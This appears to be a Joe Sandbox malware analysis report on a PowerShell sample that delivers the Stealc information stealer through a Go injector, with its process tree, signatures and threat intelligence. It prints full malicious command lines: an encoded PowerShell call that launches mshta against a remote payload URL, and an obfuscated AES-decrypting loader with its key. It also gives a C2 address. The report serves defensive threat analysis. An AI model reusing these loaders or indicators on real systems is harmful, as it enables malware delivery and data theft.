Edit tour

Windows Analysis Report
verification.b-cdn.net.ps1

Overview

General Information

Sample name:	verification.b-cdn.net.ps1
Analysis ID:	1491044
MD5:	4c99ba8c0fcf994162c991b2b6601509
SHA1:	4790b36cdbbededed079473ff1c5c34637f2a2f6
SHA256:	8d80e5c7d07aef7d4565f4ddc61d3fc5819a5ea68f2d5282e6ae3e5e17d60e3d
Tags:	ps1
Infos:

Detection

Go Injector, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Yara detected Go Injector

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Encrypted powershell cmdline option found

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Powershell drops PE file

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Very long command line found

Writes to foreign memory regions

Binary contains a suspicious time stamp

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Suspicious Execution of Powershell with Base64

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 7100 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\verification.b-cdn.net.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4108 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYgBpAGQAdgBlAHIAdABpAHMAZQByAC4AYgAtAGMAZABuAC4AbgBlAHQALwBzAG0AYQByAHQAMQAiAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

mshta.exe (PID: 7172 cmdline: "C:\Windows\system32\mshta.exe" https://bidvertiser.b-cdn.net/smart1 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 7336 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function HbAHmnxA($ZzZovm){return -split ($ZzZovm -replace '..', '0x$& ')};$PEcdKn = HbAHmnxA('649390CFEBE1770BAA5146DE729123CCD838E758E4276A363F637B3AAF033337AC0657955271E9550F501406601E1A41860E46E19B664FF95794FF1F3D04636BD08F0C38C4B63E80890B016BD8AB0B78879EF113B89A3F38F6F895DE87AEA8D3B7F0CCEB19C1832E835097ECCB2C36890967C12BEB560476870CFCA3B2026770977E5BFC6237BA383AB0C9BC4FEE55E653DB382E41C9866A6C0222D784911F31EBB65E3730429D060FF2E1FCA15D8F85018D75055E5F3D7F26332EE40768EC9BAFDC24FC0691D6B57AB81120A83FF0208197B7794EB8E48F081D5265C2EDE5BE7C897C05ABF2349EBA71B3759948F6CC4E3D2AA8CB8B87BC3EF6DD53F55E24B1A14B06982580B23E1CDC89A89E5FC9AEBCC45162B160BDD6D1DD820E751C213F642E6174AB940A544437CBD4B95F451F49854521B6B5F25DC2958288B9E8AE3E84EC687BF5FD542FD21B03B728755D38B9F795538690A1731AD87A4FF035E0E4DF4D5D5926749BCC457636F04DB20D58FEF916462DCAC2915FF336ECE4C613138832FB8CB53EC4DDA139297818B53354F21F92E9A237CDEA5EBA27FD7E08ABAD8BC364C8AC9D4DA7EF88987044E30E52F804D80E2DCF76EB0C85804D4469E0F07C9E5CE26611DE49AD0BB0333D282354BE10F943982430B1169A615E79E3E0C5EC79DA387AD53EAF2FD764DBB293F0EF18D616EEF99C38992715145D16CA68D09F1D913D460445AD05E1641EE4AC2B1E944F7FF45B6C7C51974DECC8B09B1CCBDC8ED7174A14C70F59EA9B96E93E8A336D668FF3C2DC68D75472553892C38D8F32E86361D381E1EE6E6E1BCA21FA73FC43DDDAFCED280453E7B5D154F59EF2BE213C2656F282EABC6A8D2F17A8B47C539E9817820B02E234FD821466297478CF4C06BF88B97D45DCF3E4C807DE237AD7614DCD6332D4DE950C177646C50F08062E130279ECE8B08C9945A79ECF6C4B88024A24DC840A12E22F404F56B7C13E2F9DC8AADEB49ECC7A67AE9983475129E57AFB8D0F9326B22E9B79AAA56DB3EEC92EA9708998095778497441E15D7795F50116CF78185726E9A7F7A3E40D436D50F77BDA8DDDBFD8CEBB4C758EA3595453635FE911BA9691EB0E2A28529D8C4B9E2D50DD40CBDBC57F9D07995096EB6B48448429C1F014B7BDF9146EC21A79ADA827E6590D159548021642354333FC8154696C9E79B4CDA3E5D22551F1F2387AAA9CE4464C571969727F845599B1BD312EB356A5E140EC6F91912B1227B9F3A941727413D53C0FE2B26DE40BB2B36462055BBF7E8A6B8281CC7FFD4048A1CD97104C3A63FF87CE63106EF7443D01D5FCE1FD67A7E73EE2A8F2CD2EFED7B4A7796DB2328BD317F0349F8B606845CBF4FC0F73D45630EF3466836C0A93133F760481FB4E2F4E46DBFF6A7AA0455989567090A3EBB373F3EC52B5EE0558518BC12408677670492BEA93021308DF47CD62CF99B8E473176B2965284653204CE093A6D8CE56300896793A61754D407EB838A56372881C0664AF37F1E9500BBAC243013C5F5953ABE1CD43347B87C2D6ED6169C7B0D8242DE3ED14C3F856F471A13CEFE0993EE315D5305CC2AC9054976C9CA5A6');$jqkxh = [System.Security.Cryptography.Aes]::Create();$jqkxh.Key = HbAHmnxA('52615577706262664D6D43476F4F4344');$jqkxh.IV = New-Object byte[] 16;$SpkOqCAK = $jqkxh.CreateDecryptor();$cWklkDGxO = $SpkOqCAK.TransformFinalBlock($PEcdKn, 0, $PEcdKn.Length);$mTmnXpOAf = [System.Text.Encoding]::Utf8.GetString($cWklkDGxO);$SpkOqCAK.Dispose();& $mTmnXpOAf.Substring(0,3) $mTmnXpOAf.Substring(3) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

0SmartAssem.exe (PID: 7716 cmdline: "C:\Users\user\AppData\Roaming\0SmartAssem.exe" MD5: 517C4A0A27D1C022A3319AF316407810)

BitLockerToGo.exe (PID: 7916 cmdline: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

svchost.exe (PID: 7256 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://193.176.153.234/587ec30955d49a9c.php"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\0SmartAssem.exe	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.1996165603.000000C000380000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
0000000B.00000002.2079531848.00000000032B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000000.1897589705.00007FF74D0EC000.00000002.00000001.01000000.00000011.sdmp	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
00000008.00000002.2003314361.00007FF74D0EC000.00000002.00000001.01000000.00000011.sdmp	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
Process Memory Space: powershell.exe PID: 7336	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x50651:$b1: ::WriteAllBytes( 0x51171:$b1: ::WriteAllBytes( 0x23d19:$s1: -join 0x2461f:$s1: -join 0x4e175:$s1: -join 0x1eb5b:$s4: += 0x1eb7a:$s4: += 0x1ebb5:$s4: += 0x1ebd2:$s4: += 0x1ec0d:$s4: += 0x1ec79:$s4: += 0x1ed05:$s4: += 0x1ee13:$s4: += 0x20ade:$s4: += 0x20b01:$s4: += 0x259ee:$s4: += 0x27e8d:$s4: += 0x27f0c:$s4: += 0x28127:$s4: += 0x281aa:$s4: += 0x28b2b:$s4: +=
Process Memory Space: 0SmartAssem.exe PID: 7716	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
Process Memory Space: 0SmartAssem.exe PID: 7716	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7916	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7916	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.0SmartAssem.exe.7ff74ca60000.8.unpack	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
8.0.0SmartAssem.exe.7ff74ca60000.0.unpack	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_7336.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc6e3:$b1: ::WriteAllBytes( 0xc356:$s1: -join 0x5b02:$s4: += 0x5bc4:$s4: += 0x9deb:$s4: += 0xbf08:$s4: += 0xc1f2:$s4: += 0xc338:$s4: += 0x19bb7:$s4: += 0x19cbb:$s4: += 0x1d117:$s4: += 0x1d7f7:$s4: += 0x1dcad:$s4: += 0x1dd02:$s4: += 0x1df76:$s4: += 0x1dfa5:$s4: += 0x1e4ed:$s4: += 0x1e51c:$s4: += 0x1e5fb:$s4: += 0x20892:$s4: += 0x20bf4:$s4: +=

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\mshta.exe" https://bidvertiser.b-cdn.net/smart1, CommandLine: "C:\Windows\system32\mshta.exe" https://bidvertiser.b-cdn.net/smart1, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYgBpAGQAdgBlAHIAdABpAHMAZQByAC4AYgAtAGMAZABuAC4AbgBlAHQALwBzAG0AYQByAHQAMQAiAA==, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4108, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\mshta.exe" https://bidvertiser.b-cdn.net/smart1, ProcessId: 7172, ProcessName: mshta.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function HbAHmnxA($ZzZovm){return -split ($ZzZovm -replace '..', '0x$& ')};$PEcdKn = HbAHmnxA('649390CFEBE1770BAA5146DE729123CCD838E758E4276A363F637B3AAF033337AC0657955271E9550F501406601E1A41860E46E19B664FF95794FF1F3D04636BD08F0C38C4B63E80890B016BD8AB0B78879EF113B89A3F38F6F895DE87AEA8D3B7F0CCEB19C1832E835097ECCB2C36890967C12BEB560476870CFCA3B2026770977E5BFC6237BA383AB0C9BC4FEE55E653DB382E41C9866A6C0222D784911F31EBB65E3730429D060FF2E1FCA15D8F85018D75055E5F3D7F26332EE40768EC9BAFDC24FC0691D6B57AB81120A83FF0208197B7794EB8E48F081D5265C2EDE5BE7C897C05ABF2349EBA71B3759948F6CC4E3D2AA8CB8B87BC3EF6DD53F55E24B1A14B06982580B23E1CDC89A89E5FC9AEBCC45162B160BDD6D1DD820E751C213F642E6174AB940A544437CBD4B95F451F49854521B6B5F25DC2958288B9E8AE3E84EC687BF5FD542FD21B03B728755D38B9F795538690A1731AD87A4FF035E0E4DF4D5D5926749BCC457636F04DB20D58FEF916462DCAC2915FF336ECE4C613138832FB8CB53EC4DDA139297818B53354F21F92E9A237CDEA5EBA27FD7E08ABAD8BC364C8AC9D4DA7EF88987044E30E52F804D80E2DCF76EB0C85804D4469E0F07C9E5CE26611DE49AD0BB0333D282354BE10F943982430B1169A615E79E3E0C5EC79DA387AD53EAF2FD764DBB293F0EF18D616EEF99C38992715145D16CA68D09F1D913D460445AD05E1641EE4AC2B1E944F7FF45B6C7C51974DECC8B09B1CCBDC8ED7174A14C70F59EA9B96E93E8A336D668FF3C2DC68D75472553892C38D8F32E86361D381E1EE6E6E1BCA21FA73FC43DDDAFCED280453E7B5D154F59EF2BE213C2656F282EABC6A8D2F17A8B47C539E9817820B02E234FD821466297478CF4C06BF88B97D45DCF3E4C807DE237AD7614DCD6332D4DE950C177646C50F08062E130279ECE8B08C9945A79ECF6C4B88024A24DC840A12E22F404F56B7C13E2F9DC8AADEB49ECC7A67AE9983475129E57AFB8D0F9326B22E9B79AAA56DB3EEC92EA9708998095778497441E15D7795F50116CF78185726E9A7F7A3E40D436D50F77BDA8DDDBFD8CEBB4C758EA3595453635FE911BA9691EB0E2A28529D8C4B9E2D50DD40CBDBC57F9D07995096EB6B48448429C1F014B7BDF9146EC21A79ADA827E6590D159548021642354333FC8154696C9E79B4CDA3E5D22551F1F2387AAA9CE4464C571969727F845599B1BD312EB356A5E140EC6F91912B1227B9F3A941727413D53C0FE2B26DE40BB2B36462055BBF7E8A6B8281CC7FFD4048A1CD97104C3A63FF87CE63106EF7443D01D5FCE1FD67A7E73EE2A8F2CD2EFED7B4A7796DB2328BD317F0349F8B606845CBF4FC0F73D45630EF3466836C0A93133F760481FB4E2F4E46DBFF6A7AA0455989567090A3EBB373F3EC52B5EE0558518BC12408677670492BEA93021308DF47CD62CF99B8E473176B2965284653204CE093A6D8CE56300896793A61754D407EB838A56372881C0664AF37F1E9500BBAC243013C5F5953ABE1CD43347B87C2D6ED6169C7B0D8242DE3ED14C3F856F471A13CEFE0993EE315D5305CC2AC9054976C9CA5A6');$jqkxh = [System.Security.Cryptography.Aes]::Create();$jqkxh.Key = HbAHmnxA('52615577706262664D6D43476F4F4344');$jqkxh.IV = New-Object byte[] 16;$SpkOqCAK = $jqkxh.CreateDecryptor();$cWklkDGxO = $SpkOqCAK.TransformFinalBlock($PEcdKn, 0, $PEcdKn.Length);$mTmnXpOAf = [System.Text.Encoding]::Utf8.GetString($cWklkDGxO);$SpkOqCAK.Dispose();& $mTmnXpOAf.Substring(0,3) $mTmnXpOAf.Substring(3), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function HbAHmnxA($ZzZovm){return -spl

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYgBpAGQAdgBlAHIAdABpAHMAZQByAC4AYgAtAGMAZABuAC4AbgBlAHQALwBzAG0AYQByAHQAMQAiAA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYgBpAGQAdgBlAHIAdABpAHMAZQByAC4AYgAtAGMAZABuAC4AbgBlAHQALwBzAG0AYQByAHQAMQAiAA==, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\verification.b-cdn.net.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7100, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYgBpAGQAdgBlAHIAdABpAHMAZQByAC4AYgAtAGMAZABuAC4AbgBlAHQALwBzAG0AYQByAHQAMQAiAA==, ProcessId: 4108, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\verification.b-cdn.net.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\verification.b-cdn.net.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\verification.b-cdn.net.ps1", ProcessId: 7100, ProcessName: powershell.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7336, TargetFilename: C:\Users\user\AppData\Roaming\Qt5PrintSupportVBox.dll

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYgBpAGQAdgBlAHIAdABpAHMAZQByAC4AYgAtAGMAZABuAC4AbgBlAHQALwBzAG0AYQByAHQAMQAiAA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYgBpAGQAdgBlAHIAdABpAHMAZQByAC4AYgAtAGMAZABuAC4AbgBlAHQALwBzAG0AYQByAHQAMQAiAA==, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\verification.b-cdn.net.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7100, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYgBpAGQAdgBlAHIAdABpAHMAZQByAC4AYgAtAGMAZABuAC4AbgBlAHQALwBzAG0AYQByAHQAMQAiAA==, ProcessId: 4108, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\verification.b-cdn.net.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\verification.b-cdn.net.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\verification.b-cdn.net.ps1", ProcessId: 7100, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7256, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 193.176.153.234

Timestamp:	2024-08-10T19:10:37.251997+0200
SID:	2044243
Severity:	1
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE VBScript Redirect Style Exe File Download - Source IP: 185.93.1.250 - Destination IP: 192.168.2.4

Timestamp:	2024-08-10T19:10:02.529769+0200
SID:	2026434
Severity:	1
Source Port:	443
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://bidvertiser.b-cdn.net/smart1.zip	Avira URL Cloud: Label: malware
Source: https://bidvertiser.b-cdn.net/smart1	Avira URL Cloud: Label: malware
Source: https://bidvertiser.b-cdn.net/smart1...	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000000B.00000002.2079531848.00000000032B7000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://193.176.153.234/587ec30955d49a9c.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\smart1[1]	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\smart1[1]	Virustotal: Detection: 28%	Perma Link
Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe	ReversingLabs: Detection: 18%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: unknown	HTTPS traffic detected: 185.93.1.250:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.93.1.250:443 -> 192.168.2.4:49734 version: TLS 1.2

Source:	Binary string: r:\tinderbox\win-qt-5.15\out\qtbase\lib\Qt5SqlVBox.pdb00 source: Qt5SqlVBox.dll.5.dr
Source:	Binary string: D:\tinderboxa\win-7.0\out\win.amd64\release\obj\VBoxSharedClipboard\VBoxSharedClipboard.pdb source: VBoxSharedClipboard.dll.5.dr
Source:	Binary string: dialer.pdbGCTL source: mshta.exe, 00000003.00000002.2371336752.000002376BDEF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2359272014.0000023769CFB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358542351.000002376BED3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2370883950.0000023769CD4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2363090899.0000023769D12000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2367001047.000002376BE02000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358000601.000002376BED3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2362755173.0000023769D58000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2361886828.000002376BDEF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358786546.000002376BED5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2367001047.000002376BDEF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2359185745.000002376BED6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358000601.000002376BE3C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2366555321.0000023769D58000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2362119831.0000023769D58000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2366217044.0000023769D12000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.2371500355.000002376BE81000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2362034445.0000023769CC4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2359137720.000002376BE81000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2358226135.000002376BEAE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2359272014.0000023769D58000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.2366801672.000002376BE8D000.00000004.00000020.00020000.00000000.sdmp, smart1[1].3.dr
Source:	Binary string: BitLockerToGo.pdb source: 0SmartAssem.exe, 00000008.00000003.1981482070.0000022BEFA80000.00000004.00001000.00020000.00000000.sdmp, 0SmartAssem.exe, 00000008.00000003.1981404969.0000022BEFD30000.00000004.00001000.00020000.00000000.sdmp, 0SmartAssem.exe, 00000008.00000002.1998133835.000000C0004BB000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: r:\tinderbox\win-qt-5.15\out\qtbase\lib\Qt5PrintSupportVBox.pdb22 source: Qt5PrintSupportVBox.dll.5.dr
Source:	Binary string: r:\tinderbox\win-qt-5.15\out\qtbase\lib\Qt5PrintSupportVBox.pdb source: Qt5PrintSupportVBox.dll.5.dr
Source:	Binary string: D:\tinderboxa\win-7.0\out\win.amd64\release\obj\VBoxSharedFolders\VBoxSharedFolders.pdb source: VBoxSharedFolders.dll.5.dr
Source:	Binary string: D:\tinderboxa\win-7.0\out\win.amd64\release\obj\VBoxSupLib\VBoxSupLib.pdb source: VBoxSupLib.dll.5.dr
